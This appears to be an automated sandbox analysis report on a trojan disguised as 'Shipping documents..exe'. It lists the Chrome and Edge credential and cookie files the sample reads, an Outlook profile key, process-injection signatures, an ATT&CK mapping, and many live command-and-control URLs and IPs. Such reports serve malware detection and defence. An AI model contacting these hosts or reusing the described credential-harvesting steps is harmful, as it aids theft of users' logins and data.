Source: FuFneNIzDsF.exe, 00000004.00000000.2354511544.00000000013E0000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000002.4567827799.00000000013E1000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000000.2507373596.0000000001891000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: Shipping documents..exe, FuFneNIzDsF.exe, 00000004.00000000.2354511544.00000000013E0000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000002.4567827799.00000000013E1000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000000.2507373596.0000000001891000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: FuFneNIzDsF.exe, 00000004.00000000.2354511544.00000000013E0000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000002.4567827799.00000000013E1000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000000.2507373596.0000000001891000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: FuFneNIzDsF.exe, 00000004.00000000.2354511544.00000000013E0000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000002.4567827799.00000000013E1000.00000002.00000001.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000000.2507373596.0000000001891000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: Shipping documents..exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

0_2_004720DB

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_00472C3F GetUserNameW,

0_2_00472C3F

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0041E364

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4571453200.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568813272.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2433270626.0000000003560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568990359.00000000030C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2432620170.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4568829458.00000000051E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4559476128.0000000002980000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2437565309.0000000006600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\ktmutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Shipping documents..exe	Binary or memory string: WIN_XP
Source: Shipping documents..exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: Shipping documents..exe	Binary or memory string: WIN_XPe
Source: Shipping documents..exe	Binary or memory string: WIN_VISTA
Source: Shipping documents..exe	Binary or memory string: WIN_7
Source: Shipping documents..exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4571453200.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568813272.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2433270626.0000000003560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568990359.00000000030C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2432620170.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4568829458.00000000051E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4559476128.0000000002980000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2437565309.0000000006600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_004652BE
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00476619
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	16 System Information Discovery	Distributed Component Object Model	21 Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Shipping documents..exe	42%	ReversingLabs	Win32.Trojan.Generic
Shipping documents..exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://nfqb.info	0%	Avira URL Cloud	safe
https://dmqb.info	0%	Avira URL Cloud	safe
http://www.migorengya8.click/y3dc/?DDp=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tREfAnxyZwa91URYeYbxhv5bPljMHSbrvZtVpRz6w5PNfkG2YKS2Ps=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe
https://wmqqb.com	0%	Avira URL Cloud	safe
https://anqb.top	0%	Avira URL Cloud	safe
https://dhqb.info	0%	Avira URL Cloud	safe
http://www.klohk.tech/3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cD9BPWmhuph4utiW3Dhv00Os4z+1dRn6W+dMqbZ0s1lU/AMvHhe0=	0%	Avira URL Cloud	safe
http://www.econsultoria.online/azb9/	0%	Avira URL Cloud	safe
https://wqxs.info	0%	Avira URL Cloud	safe
https://www.piensasolutions.com/ssl?utm_source=parking&utm_medium=link&utm_campaign=correo	0%	Avira URL Cloud	safe
https://egqb.top	0%	Avira URL Cloud	safe
http://www.d63dm.top/rqnz/	0%	Avira URL Cloud	safe
http://www.030002128.xyz/knx2/?DDp=cx1F/qf6XWf+sqaNqgWjpjf2u/FJ3U1rCAFJJdWfl5OjgpHNlJW/Jou+UuCSZllgDcZAwgAs0R21dhdWF/X3usItMGO4lmDkyY4fIJ/HYM1kf3catma7zBplk9C6FFtSionVViQ=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe
http://www.futurevision.life/hxmz/?DDp=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H768cQaPGnwmWpoBoTXnujTk0fw5ooQYelqhpppqeWfG8SjK30Qts=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe
http://www.bzxs.info/v58i/?DDp=IC0zr/ZDVxaNAMf8momja46h3KrCsn6WQsgf7AvDnsA3Q4GKUMSc84jsP15lI7VDCiKPTCHe1ALE8uTr9rusPZ5vALoLFqWsTHRljYdsCfeo56EDBh/tAO+VOLzkgSIV0llmzE8=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe
https://erxs.top	0%	Avira URL Cloud	safe
https://www.piensasolutions.com/certificado-ssl?utm_source=parking&utm_medium=link&utm_campa	0%	Avira URL Cloud	safe
https://iwqb.top	0%	Avira URL Cloud	safe
https://yqqb.xyz	0%	Avira URL Cloud	safe
https://xuaxs.com	0%	Avira URL Cloud	safe
http://www.cesach.net/qutj/	0%	Avira URL Cloud	safe
https://gwqqb.com	0%	Avira URL Cloud	safe
https://gdlqb.com	0%	Avira URL Cloud	safe
https://www.piensasolutions.com?utm_source=parking&utm_medium=link&utm_campaign=piensa	0%	Avira URL Cloud	safe
https://www.piensasolutions.com/crear-web?utm_source=parking&utm_medium=link&utm_campaign=we	0%	Avira URL Cloud	safe
https://shop.piensasolutions.com/search-ajax.php?utm_source=parking&utm_medium=link&utm_camp	0%	Avira URL Cloud	safe
http://www.econsultoria.online	0%	Avira URL Cloud	safe
http://www.migorengya8.click/y3dc/	0%	Avira URL Cloud	safe
https://oejqb.com	0%	Avira URL Cloud	safe
http://www.mcfunding.org/0598/?SvrLY=3P8lALA&DDp=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4Tu+XiR6NXotGry9ANEeeRCoN4FhbxnBZSnIhm0SzK0MisIZlDjM=	0%	Avira URL Cloud	safe
http://www.servannto.site/h26k/	0%	Avira URL Cloud	safe
http://www.auto-deals-cz-000.buzz/geci/	0%	Avira URL Cloud	safe
https://aqqb.info	0%	Avira URL Cloud	safe
http://www.klohk.tech/3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu	0%	Avira URL Cloud	safe
http://www.klohk.tech/3m3e/	0%	Avira URL Cloud	safe
http://www.bzxs.info/v58i/	0%	Avira URL Cloud	safe
https://mgnxs.com	0%	Avira URL Cloud	safe
https://pmqb.xyz	0%	Avira URL Cloud	safe
http://www.futurevision.life/hxmz/	0%	Avira URL Cloud	safe
https://ncxs.xyz	0%	Avira URL Cloud	safe
https://cpjqb.com	0%	Avira URL Cloud	safe
http://www.telforce.one/ykhz/?DDp=enw3MzdkIinzycog2d+xaWpEHXfvQHhn7Q0Xf9Uq8WeILZ9WFoLyJZQsqpUbcYSzxWL6OSWVl3hVVR/aqS9N6hR069XLEnbGwgzEaDN1WPABKrmY5eDWHUcJ5DCyIOZX0iwQYxg=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe
https://gsxs.info	0%	Avira URL Cloud	safe
https://gdxs.info	0%	Avira URL Cloud	safe
https://aiqb.top	0%	Avira URL Cloud	safe
http://www.telforce.one/ykhz/	0%	Avira URL Cloud	safe
https://zeqb.info	0%	Avira URL Cloud	safe
http://www.cesach.net/qutj/?SvrLY=3P8lALA&DDp=7+JhtXYoap6hQUSymN1iKxwf+aYIN87BChjykmSFD5cBOLIEN7eTZiNCYJGnmhE2/2tIBPcr+sPRMyccTmjbMYtkzAsmzkJCtDvOtemIhBWnTn54lM+8e5KyjQNsphyX8LHz3fM=	0%	Avira URL Cloud	safe
http://www.beingandbecoming.ltd/79tr/	0%	Avira URL Cloud	safe
https://znqb.info	0%	Avira URL Cloud	safe
https://stzqb.com	0%	Avira URL Cloud	safe
https://chqb.info	0%	Avira URL Cloud	safe
https://hgqb.xyz	0%	Avira URL Cloud	safe
https://www.piensasolutions.com/web-sencilla?utm_source=parking&utm_medium=link&utm_campaign	0%	Avira URL Cloud	safe
https://www.piensasolutions.com/dominios?utm_source=parking&utm_medium=link&utm_campaign=dom	0%	Avira URL Cloud	safe
https://ozxs.top	0%	Avira URL Cloud	safe
http://www.mcfunding.org/0598/	0%	Avira URL Cloud	safe
https://www.piensasolutions.com/hosting?utm_source=parking&utm_medium=link&utm_campaign=host	0%	Avira URL Cloud	safe
https://ltqb.info	0%	Avira URL Cloud	safe
http://www.huiguang.xyz/hv6g/?SvrLY=3P8lALA&DDp=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGBem8ABx5elB2IpCI9aOC0eTdsykMK9iQYMJsZcXRFR0PJFreT4Q=	0%	Avira URL Cloud	safe
http://www.beingandbecoming.ltd/79tr/?DDp=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZPygs+MxIMUNH2akCfN7/CzpsZyLj6qmJ1F1UuDNbdqvUipDEiTgU=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe
http://www.auto-deals-cz-000.buzz/geci/?SvrLY=3P8lALA&DDp=OUcUcMiN7UFwaCotsW6AMJwehyiwg2RPC2z6ZMYslxYDHrlwQ88kbad89mN4OjllqHqnU6tumNLMTG1picng1VYsD50x98ZhJyamHAiRPzZYiWViTqiNWtopHV1ePKkjcICWV3I=	0%	Avira URL Cloud	safe
http://www.030002128.xyz/knx2/	0%	Avira URL Cloud	safe
http://www.d63dm.top/rqnz/?DDp=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5j7kTaNGBLKG6O6VRta8dhdFdziPB3CVN6I/2AxSEUg2RCppISrE=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe
https://esfqb.com	0%	Avira URL Cloud	safe
https://34.92.79.175:19817/register	0%	Avira URL Cloud	safe
http://www.servannto.site/h26k/?DDp=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcHbS91xJIfYTkMJziJL2bz2TZCx10rmCstVSToHcp1Wua4EZrnYI=&SvrLY=3P8lALA	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d63dm.top	154.23.184.218	true	true	unknown
beingandbecoming.ltd	3.33.130.190	true	true	unknown
econsultoria.online	3.33.130.190	true	true	unknown
www.cesach.net	217.76.156.252	true	true	unknown
www.auto-deals-cz-000.buzz	199.59.243.227	true	true	unknown
schedulemassage.xyz	3.33.130.190	true	true	unknown
www.030002128.xyz	161.97.142.144	true	true	unknown
mcfunding.org	3.33.130.190	true	true	unknown
www.bzxs.info	188.114.97.3	true	true	unknown
www.huiguang.xyz	154.92.61.37	true	true	unknown
www.servannto.site	31.31.196.17	true	true	unknown
www.klohk.tech	103.224.182.242	true	true	unknown
www.telforce.one	13.248.169.48	true	true	unknown
migorengya8.click	198.252.98.54	true	true	unknown
www.futurevision.life	203.161.49.193	true	true	unknown
www.migorengya8.click	unknown	unknown	false	unknown
www.mcfunding.org	unknown	unknown	false	unknown
www.d63dm.top	unknown	unknown	false	unknown
www.beingandbecoming.ltd	unknown	unknown	false	unknown
www.econsultoria.online	unknown	unknown	false	unknown
www.schedulemassage.xyz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.econsultoria.online/azb9/	true	Avira URL Cloud: safe	unknown
http://www.migorengya8.click/y3dc/?DDp=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tREfAnxyZwa91URYeYbxhv5bPljMHSbrvZtVpRz6w5PNfkG2YKS2Ps=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown
http://www.klohk.tech/3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cD9BPWmhuph4utiW3Dhv00Os4z+1dRn6W+dMqbZ0s1lU/AMvHhe0=	true	Avira URL Cloud: safe	unknown
http://www.d63dm.top/rqnz/	true	Avira URL Cloud: safe	unknown
http://www.bzxs.info/v58i/?DDp=IC0zr/ZDVxaNAMf8momja46h3KrCsn6WQsgf7AvDnsA3Q4GKUMSc84jsP15lI7VDCiKPTCHe1ALE8uTr9rusPZ5vALoLFqWsTHRljYdsCfeo56EDBh/tAO+VOLzkgSIV0llmzE8=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown
http://www.030002128.xyz/knx2/?DDp=cx1F/qf6XWf+sqaNqgWjpjf2u/FJ3U1rCAFJJdWfl5OjgpHNlJW/Jou+UuCSZllgDcZAwgAs0R21dhdWF/X3usItMGO4lmDkyY4fIJ/HYM1kf3catma7zBplk9C6FFtSionVViQ=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown
http://www.futurevision.life/hxmz/?DDp=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H768cQaPGnwmWpoBoTXnujTk0fw5ooQYelqhpppqeWfG8SjK30Qts=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown
http://www.cesach.net/qutj/	true	Avira URL Cloud: safe	unknown
http://www.migorengya8.click/y3dc/	true	Avira URL Cloud: safe	unknown
http://www.mcfunding.org/0598/?SvrLY=3P8lALA&DDp=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4Tu+XiR6NXotGry9ANEeeRCoN4FhbxnBZSnIhm0SzK0MisIZlDjM=	true	Avira URL Cloud: safe	unknown
http://www.servannto.site/h26k/	true	Avira URL Cloud: safe	unknown
http://www.auto-deals-cz-000.buzz/geci/	true	Avira URL Cloud: safe	unknown
http://www.futurevision.life/hxmz/	true	Avira URL Cloud: safe	unknown
http://www.klohk.tech/3m3e/	true	Avira URL Cloud: safe	unknown
http://www.bzxs.info/v58i/	true	Avira URL Cloud: safe	unknown
http://www.telforce.one/ykhz/?DDp=enw3MzdkIinzycog2d+xaWpEHXfvQHhn7Q0Xf9Uq8WeILZ9WFoLyJZQsqpUbcYSzxWL6OSWVl3hVVR/aqS9N6hR069XLEnbGwgzEaDN1WPABKrmY5eDWHUcJ5DCyIOZX0iwQYxg=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown
http://www.telforce.one/ykhz/	true	Avira URL Cloud: safe	unknown
http://www.cesach.net/qutj/?SvrLY=3P8lALA&DDp=7+JhtXYoap6hQUSymN1iKxwf+aYIN87BChjykmSFD5cBOLIEN7eTZiNCYJGnmhE2/2tIBPcr+sPRMyccTmjbMYtkzAsmzkJCtDvOtemIhBWnTn54lM+8e5KyjQNsphyX8LHz3fM=	true	Avira URL Cloud: safe	unknown
http://www.beingandbecoming.ltd/79tr/	true	Avira URL Cloud: safe	unknown
http://www.mcfunding.org/0598/	true	Avira URL Cloud: safe	unknown
http://www.huiguang.xyz/hv6g/?SvrLY=3P8lALA&DDp=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGBem8ABx5elB2IpCI9aOC0eTdsykMK9iQYMJsZcXRFR0PJFreT4Q=	true	Avira URL Cloud: safe	unknown
http://www.auto-deals-cz-000.buzz/geci/?SvrLY=3P8lALA&DDp=OUcUcMiN7UFwaCotsW6AMJwehyiwg2RPC2z6ZMYslxYDHrlwQ88kbad89mN4OjllqHqnU6tumNLMTG1picng1VYsD50x98ZhJyamHAiRPzZYiWViTqiNWtopHV1ePKkjcICWV3I=	true	Avira URL Cloud: safe	unknown
http://www.beingandbecoming.ltd/79tr/?DDp=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZPygs+MxIMUNH2akCfN7/CzpsZyLj6qmJ1F1UuDNbdqvUipDEiTgU=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown
http://www.030002128.xyz/knx2/	true	Avira URL Cloud: safe	unknown
http://www.d63dm.top/rqnz/?DDp=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5j7kTaNGBLKG6O6VRta8dhdFdziPB3CVN6I/2AxSEUg2RCppISrE=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown
http://www.servannto.site/h26k/?DDp=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcHbS91xJIfYTkMJziJL2bz2TZCx10rmCstVSToHcp1Wua4EZrnYI=&SvrLY=3P8lALA	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dmqb.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wqxs.info	ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://piensasolutions.com/css/parking2.css	ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false		high
